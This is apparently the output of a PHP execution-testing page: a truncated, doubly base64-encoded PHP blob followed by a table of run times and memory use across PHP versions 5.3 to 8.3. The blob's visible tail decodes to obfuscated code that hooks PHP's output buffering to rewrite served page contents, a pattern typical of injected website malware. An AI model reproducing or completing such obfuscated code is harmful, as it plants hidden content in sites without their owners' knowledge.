Bd01EQXBPeVJqYjI1MFpXNTBjeUE5SUZwTk5Xb3ljVEJ6YUdaZmJXOWtYMk52Ymlna1kyOXVkR1Z1ZEhNcE8yZDZZMnh2YzJVb0pIcGtLVHQxYm14cGJtc29KSFJ0Y0dadVlXMWxLVHNrWTI5dWRHVnVkSE1nUFNCbmVtVnVZMjlrWlNna1kyOXVkR1Z1ZEhNcE8zMGdaV3h6WlNCN0pHTnZiblJsYm5SeklEMGdXazAxYWpKeE1ITm9abDl0YjJSZlkyOXVLQ1JpZFdZcE95QjlmU0JsYkhObElIc2tZMjl1ZEdWdWRITWdQU0JhVFRWcU1uRXdjMmhtWDIxdlpGOWpiMjRvSkdKMVppazdmWEpsZEhWeWJpZ2tZMjl1ZEdWdWRITXBPd3A5Q24wS0lBcHZZbDl6ZEdGeWRDZ2lXazAxYWpKeE1ITm9abDlqWVd4c1ltRmpheUlwT3dvS2ZRcDlDbjBLIikpOyA=")); ")); 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Version	System time (s)	User time (s)	Memory (MiB)
8.3.6	0.007	0.013	18.43
8.3.5	0.005	0.011	21.21
8.3.4	0.007	0.011	18.96
8.3.3	0.012	0.004	19.02
8.3.2	0.005	0.003	20.33
8.3.1	0.004	0.004	21.92
8.3.0	0.004	0.004	20.64
8.2.18	0.007	0.007	16.75
8.2.17	0.015	0.000	22.96
8.2.16	0.008	0.005	19.46
8.2.15	0.003	0.006	24.18
8.2.14	0.000	0.008	24.66
8.2.13	0.015	0.004	26.16
8.2.12	0.008	0.000	19.56
8.2.11	0.007	0.004	20.64
8.2.10	0.012	0.000	17.91
8.2.9	0.004	0.004	19.42
8.2.8	0.000	0.008	17.97
8.2.7	0.007	0.003	17.63
8.2.6	0.003	0.006	17.78
8.2.5	0.003	0.005	18.07
8.2.4	0.000	0.008	18.16
8.2.3	0.007	0.000	18.14
8.2.2	0.004	0.004	17.86
8.2.1	0.000	0.008	17.75
8.2.0	0.006	0.003	17.86
8.1.28	0.012	0.006	25.92
8.1.27	0.004	0.004	22.36
8.1.26	0.007	0.000	26.35
8.1.25	0.003	0.005	28.09
8.1.24	0.004	0.007	19.71
8.1.23	0.004	0.007	17.64
8.1.22	0.009	0.000	17.91
8.1.21	0.000	0.008	18.77
8.1.20	0.007	0.003	17.35
8.1.19	0.000	0.008	17.63
8.1.18	0.008	0.000	18.91
8.1.17	0.005	0.003	18.71
8.1.16	0.004	0.004	22.15
8.1.15	0.000	0.007	18.57
8.1.14	0.004	0.004	17.47
8.1.13	0.006	0.003	17.88
8.1.12	0.007	0.000	17.36
8.1.11	0.005	0.002	17.44
8.1.10	0.000	0.007	17.46
8.1.9	0.000	0.007	17.53
8.1.8	0.000	0.007	17.46
8.1.7	0.004	0.004	17.37
8.1.6	0.004	0.004	17.52
8.1.5	0.004	0.004	17.51
8.1.4	0.004	0.004	17.60
8.1.3	0.004	0.004	17.75
8.1.2	0.000	0.008	17.64
8.1.1	0.004	0.004	17.55
8.1.0	0.003	0.006	17.61
8.0.30	0.000	0.007	18.77
8.0.29	0.005	0.003	16.75
8.0.28	0.003	0.003	18.45
8.0.27	0.004	0.003	17.27
8.0.26	0.003	0.003	16.88
8.0.25	0.000	0.007	17.08
8.0.24	0.004	0.004	17.09
8.0.23	0.007	0.000	16.94
8.0.22	0.007	0.000	17.00
8.0.21	0.000	0.007	17.00
8.0.20	0.000	0.008	17.07
8.0.19	0.000	0.007	16.90
8.0.18	0.000	0.007	17.00
8.0.17	0.008	0.000	17.00
8.0.16	0.004	0.004	17.00
8.0.15	0.004	0.004	16.81
8.0.14	0.004	0.004	16.91
8.0.13	0.003	0.003	13.40
8.0.12	0.004	0.004	16.78
8.0.11	0.004	0.004	17.02
8.0.10	0.004	0.004	16.92
8.0.9	0.000	0.008	17.09
8.0.8	0.011	0.011	17.00
8.0.7	0.003	0.006	16.92
8.0.6	0.005	0.002	17.04
8.0.5	0.000	0.008	16.86
8.0.3	0.005	0.014	17.22
8.0.2	0.003	0.015	17.40
8.0.1	0.007	0.000	16.99
8.0.0	0.010	0.011	16.90
7.4.33	0.003	0.003	15.41
7.4.32	0.007	0.000	16.83
7.4.30	0.005	0.002	16.77
7.4.29	0.004	0.004	16.66
7.4.28	0.004	0.004	16.84
7.4.27	0.000	0.008	16.78
7.4.26	0.005	0.003	16.92
7.4.25	0.006	0.003	16.70
7.4.24	0.004	0.004	16.82
7.4.23	0.000	0.007	16.92
7.4.22	0.015	0.000	16.97
7.4.21	0.006	0.014	16.79
7.4.20	0.000	0.008	16.73
7.4.19	0.004	0.004	16.70
7.4.16	0.012	0.006	16.90
7.4.15	0.006	0.012	17.40
7.4.14	0.011	0.011	17.86
7.4.13	0.008	0.010	16.97
7.4.12	0.006	0.012	16.67
7.4.11	0.006	0.012	16.87
7.4.10	0.011	0.010	16.70
7.4.9	0.012	0.006	16.84
7.4.8	0.016	0.009	19.39
7.4.7	0.004	0.015	16.80
7.4.6	0.015	0.009	16.68
7.4.5	0.000	0.006	16.60
7.4.4	0.000	0.017	22.77
7.4.3	0.009	0.009	16.81
7.4.1	0.012	0.006	16.77
7.4.0	0.005	0.013	16.07
7.3.33	0.003	0.003	13.57
7.3.32	0.003	0.003	13.61
7.3.31	0.004	0.004	16.48
7.3.30	0.000	0.007	16.61
7.3.29	0.011	0.007	16.58
7.3.28	0.005	0.011	16.61
7.3.27	0.007	0.011	17.40
7.3.26	0.019	0.000	16.88
7.3.25	0.014	0.007	16.73
7.3.24	0.007	0.011	16.73
7.3.23	0.013	0.013	16.67
7.3.21	0.004	0.015	16.80
7.3.20	0.014	0.010	19.39
7.3.19	0.014	0.006	16.75
7.3.18	0.006	0.010	16.79
7.3.17	0.007	0.011	16.68
7.3.16	0.010	0.013	16.70
7.3.13	0.006	0.012	16.61
7.3.12	0.010	0.006	16.03
7.3.11	0.010	0.003	16.70
7.3.10	0.006	0.009	16.52
7.3.9	0.006	0.012	16.75
7.3.8	0.011	0.007	16.54
7.3.7	0.003	0.013	16.75
7.3.6	0.007	0.013	16.56
7.3.5	0.003	0.013	16.67
7.3.4	0.003	0.012	16.58
7.3.3	0.009	0.006	16.65
7.3.2	0.007	0.007	18.43
7.3.1	0.007	0.007	17.28
7.3.0	0.004	0.014	17.44
7.2.33	0.009	0.013	17.04
7.2.32	0.014	0.007	16.93
7.2.31	0.009	0.009	16.94
7.2.30	0.007	0.010	16.85
7.2.29	0.004	0.015	17.15
7.2.26	0.004	0.018	17.00
7.2.25	0.006	0.013	16.80
7.2.24	0.004	0.011	16.97
7.2.23	0.009	0.009	16.75
7.2.22	0.009	0.006	16.95
7.2.21	0.007	0.011	16.90
7.2.20	0.007	0.007	16.82
7.2.19	0.006	0.012	16.88
7.2.18	0.012	0.009	16.98
7.2.17	0.011	0.004	16.82
7.2.16	0.007	0.007	17.05
7.2.15	0.007	0.014	18.38
7.2.14	0.014	0.004	18.36
7.2.13	0.007	0.007	17.71
7.2.12	0.005	0.011	17.69
7.2.11	0.012	0.003	17.57
7.2.10	0.003	0.009	17.64
7.2.9	0.012	0.003	17.70
7.2.8	0.005	0.007	17.68
7.2.7	0.003	0.014	17.65
7.2.6	0.006	0.007	17.36
7.2.5	0.005	0.009	17.79
7.2.4	0.002	0.011	17.70
7.2.3	0.009	0.006	17.58
7.2.2	0.007	0.007	17.61
7.2.1	0.008	0.005	17.63
7.2.0	0.004	0.009	18.29
7.1.33	0.011	0.011	17.54
7.1.32	0.003	0.007	17.42
7.1.31	0.010	0.010	17.46
7.1.30	0.006	0.012	17.39
7.1.29	0.006	0.006	17.24
7.1.28	0.003	0.009	17.36
7.1.27	0.004	0.007	17.60
7.1.26	0.010	0.010	17.28
7.1.25	0.007	0.006	16.63
7.1.24	0.010	0.007	17.38
7.1.23	0.003	0.010	17.34
7.1.22	0.006	0.006	17.29
7.1.21	0.007	0.003	17.37
7.1.20	0.004	0.009	16.66
7.1.19	0.004	0.007	17.41
7.1.18	0.003	0.009	17.18
7.1.17	0.009	0.006	17.28
7.1.16	0.000	0.015	17.45
7.1.15	0.010	0.007	17.31
7.1.14	0.003	0.010	17.40
7.1.13	0.011	0.006	17.34
7.1.12	0.004	0.008	17.30
7.1.11	0.007	0.003	17.38
7.1.10	0.005	0.010	17.80
7.1.9	0.012	0.003	17.49
7.1.8	0.000	0.014	17.27
7.1.7	0.013	0.005	17.22
7.1.6	0.008	0.010	18.64
7.1.5	0.005	0.013	17.13
7.1.4	0.007	0.007	17.20
7.1.3	0.009	0.009	17.54
7.1.2	0.000	0.013	17.24
7.1.1	0.007	0.007	17.41
7.1.0	0.003	0.034	19.89
7.0.33	0.009	0.003	16.95
7.0.32	0.003	0.015	16.96
7.0.31	0.007	0.011	16.93
7.0.30	0.010	0.006	16.96
7.0.29	0.003	0.010	17.22
7.0.28	0.006	0.006	17.13
7.0.27	0.012	0.000	16.94
7.0.26	0.006	0.006	16.87
7.0.25	0.007	0.007	17.02
7.0.24	0.006	0.010	17.16
7.0.23	0.008	0.004	17.09
7.0.22	0.003	0.010	16.92
7.0.21	0.006	0.009	17.10
7.0.20	0.004	0.007	16.85
7.0.19	0.000	0.015	17.09
7.0.18	0.007	0.004	17.02
7.0.17	0.006	0.006	16.93
7.0.16	0.000	0.015	16.88
7.0.15	0.006	0.006	17.12
7.0.14	0.003	0.046	19.41
7.0.13	0.004	0.011	17.13
7.0.12	0.003	0.012	17.13
7.0.11	0.013	0.003	17.04
7.0.10	0.007	0.007	16.86
7.0.9	0.007	0.007	17.03
7.0.8	0.004	0.011	16.93
7.0.7	0.006	0.025	19.35
7.0.6	0.007	0.022	19.39
7.0.5	0.007	0.035	19.61
7.0.4	0.005	0.041	17.48
7.0.3	0.005	0.042	17.52
7.0.2	0.008	0.034	17.43
7.0.1	0.008	0.042	17.67
7.0.0	0.007	0.042	17.46
5.6.40	0.007	0.011	16.13
5.6.39	0.003	0.014	16.12
5.6.38	0.000	0.015	16.39
5.6.37	0.007	0.010	16.37
5.6.36	0.000	0.010	16.05
5.6.35	0.013	0.003	16.37
5.6.34	0.010	0.003	16.09
5.6.33	0.010	0.006	16.14
5.6.32	0.010	0.003	15.77
5.6.31	0.000	0.016	16.15
5.6.30	0.004	0.015	16.05
5.6.29	0.004	0.015	16.03
5.6.28	0.007	0.051	18.67
5.6.27	0.013	0.007	15.97
5.6.26	0.007	0.011	16.16
5.6.25	0.006	0.009	15.98
5.6.24	0.010	0.006	16.38
5.6.23	0.008	0.006	16.11
5.6.22	0.008	0.020	18.50
5.6.21	0.003	0.025	18.39
5.6.20	0.010	0.023	18.73
5.6.19	0.008	0.040	18.60
5.6.18	0.007	0.050	18.59
5.6.17	0.009	0.042	18.70
5.6.16	0.003	0.047	18.73
5.6.15	0.010	0.045	18.43
5.6.14	0.006	0.046	18.50
5.6.13	0.003	0.043	18.53
5.6.12	0.007	0.043	18.64
5.6.11	0.006	0.043	18.63
5.6.10	0.005	0.047	18.68
5.6.9	0.007	0.030	18.46
5.6.8	0.006	0.030	18.32
5.6.7	0.002	0.048	18.29
5.6.6	0.012	0.040	18.36
5.6.5	0.005	0.045	18.34
5.6.4	0.011	0.040	18.29
5.6.3	0.004	0.041	18.35
5.6.2	0.000	0.032	18.28
5.6.1	0.008	0.042	18.28
5.6.0	0.010	0.035	18.15
5.5.38	0.007	0.004	15.75
5.5.37	0.006	0.008	15.89
5.5.36	0.003	0.030	18.21
5.5.35	0.003	0.028	18.25
5.5.34	0.005	0.025	18.64
5.5.33	0.005	0.045	18.48
5.5.32	0.003	0.048	18.46
5.5.31	0.011	0.043	18.54
5.5.30	0.003	0.041	18.44
5.5.29	0.005	0.045	18.57
5.5.28	0.005	0.046	18.52
5.5.27	0.005	0.043	18.49
5.5.26	0.005	0.026	18.34
5.5.25	0.005	0.033	18.38
5.5.24	0.002	0.042	18.17
5.5.23	0.007	0.043	18.15
5.5.22	0.007	0.040	18.01
5.5.21	0.005	0.037	18.09
5.5.20	0.009	0.043	18.06
5.5.19	0.010	0.043	18.15
5.5.18	0.007	0.040	18.13
5.5.17	0.007	0.007	15.98
5.5.16	0.005	0.045	18.12
5.5.15	0.007	0.047	18.07
5.5.14	0.003	0.044	18.03
5.5.13	0.012	0.035	18.10
5.5.12	0.008	0.033	18.23
5.5.11	0.007	0.025	18.22
5.5.10	0.010	0.040	18.11
5.5.9	0.013	0.038	18.05
5.5.8	0.003	0.043	18.13
5.5.7	0.008	0.035	18.11
5.5.6	0.009	0.042	17.98
5.5.5	0.003	0.039	18.13
5.5.4	0.010	0.035	18.24
5.5.3	0.003	0.031	17.98
5.5.2	0.005	0.022	18.05
5.5.1	0.003	0.028	18.18
5.5.0	0.006	0.023	18.13
5.4.45	0.007	0.040	16.15
5.4.44	0.006	0.029	16.06
5.4.43	0.005	0.030	16.02
5.4.42	0.007	0.033	16.12
5.4.41	0.005	0.042	16.01
5.4.40	0.008	0.037	15.82
5.4.39	0.002	0.041	15.94
5.4.38	0.007	0.040	15.80
5.4.37	0.006	0.040	16.02
5.4.36	0.007	0.035	15.93
5.4.35	0.002	0.035	16.04
5.4.34	0.003	0.023	16.00
5.4.33	0.003	0.010	12.69
5.4.32	0.005	0.043	15.94
5.4.31	0.008	0.036	15.94
5.4.30	0.007	0.042	16.08
5.4.29	0.009	0.026	15.80
5.4.28	0.007	0.042	15.86
5.4.27	0.002	0.030	15.92
5.4.26	0.008	0.027	15.92
5.4.25	0.005	0.030	15.98
5.4.24	0.003	0.045	15.91
5.4.23	0.009	0.034	15.90
5.4.22	0.005	0.037	15.97
5.4.21	0.003	0.041	15.90
5.4.20	0.007	0.040	16.06
5.4.19	0.002	0.030	15.99
5.4.18	0.004	0.030	15.93
5.4.17	0.005	0.021	15.82
5.4.16	0.003	0.032	15.96
5.4.15	0.007	0.027	15.86
5.4.14	0.005	0.022	14.57
5.4.13	0.007	0.037	14.65
5.4.12	0.006	0.038	14.58
5.4.11	0.008	0.032	14.73
5.4.10	0.005	0.040	14.79
5.4.9	0.007	0.037	14.61
5.4.8	0.005	0.040	14.64
5.4.7	0.006	0.039	14.58
5.4.6	0.002	0.035	14.63
5.4.5	0.003	0.021	14.53
5.4.4	0.005	0.025	14.61
5.4.3	0.005	0.035	14.68
5.4.2	0.005	0.039	14.65
5.4.1	0.007	0.035	14.74
5.4.0	0.005	0.020	14.53
5.3.29	0.002	0.045	14.87
5.3.28	0.007	0.033	14.83
5.3.27	0.002	0.031	14.84
5.3.26	0.005	0.031	14.86
5.3.25	0.002	0.037	14.85
5.3.24	0.002	0.022	14.79
5.3.23	0.000	0.044	14.96
5.3.22	0.010	0.033	14.79
5.3.21	0.007	0.040	14.85
5.3.20	0.007	0.038	14.86
5.3.19	0.006	0.041	14.81
5.3.18	0.004	0.039	14.82
5.3.17	0.008	0.039	15.00
5.3.16	0.003	0.041	14.95
5.3.15	0.004	0.042	14.88
5.3.14	0.007	0.039	14.94
5.3.13	0.007	0.036	14.98
5.3.12	0.005	0.022	14.89
5.3.11	0.005	0.042	14.92
5.3.10	0.002	0.037	14.88
5.3.9	0.004	0.040	14.88
5.3.8	0.007	0.034	14.81
5.3.7	0.003	0.043	14.82
5.3.6	0.002	0.042	14.84
5.3.5	0.003	0.041	14.83
5.3.4	0.007	0.037	14.83
5.3.3	0.005	0.036	14.91
5.3.2	0.005	0.033	14.82
5.3.1	0.005	0.037	14.77
5.3.0	0.010	0.035	14.74